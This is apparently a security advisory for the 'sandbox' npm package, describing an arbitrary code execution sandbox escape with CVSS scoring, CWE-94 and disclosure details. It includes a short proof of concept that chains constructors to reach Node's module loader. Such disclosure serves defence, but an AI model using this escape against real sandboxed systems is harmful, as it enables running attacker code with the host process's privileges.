Arbitrary Code Execution

Affecting sandbox package, ALL versions

Do your applications use this vulnerable package? Test your applications

Overview

sandbox is a nifty javascript sandbox for node.js.

Affected versions of the package are vulnerable to Arbitrary Code Execution. It is possible to escape the sandbox by using a combination of functions and constructors, allowing an attacker access to a process with root permissions, and load modules of their choosing in order to execute malicious code.

PoC by io Void:

new Function("
  return (
    this.constructor.constructor('
      return (this.process.mainModule.constructor._load
     )'
    )())"
  )()
("util").inspect("hi")

Remediation

There is no fix version for sandbox.

References

CVSS Score

9.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit
io void
CWE
CWE-94
Snyk ID
npm:sandbox:20160821
Disclosed
21 Aug, 2016
Published
07 Nov, 2017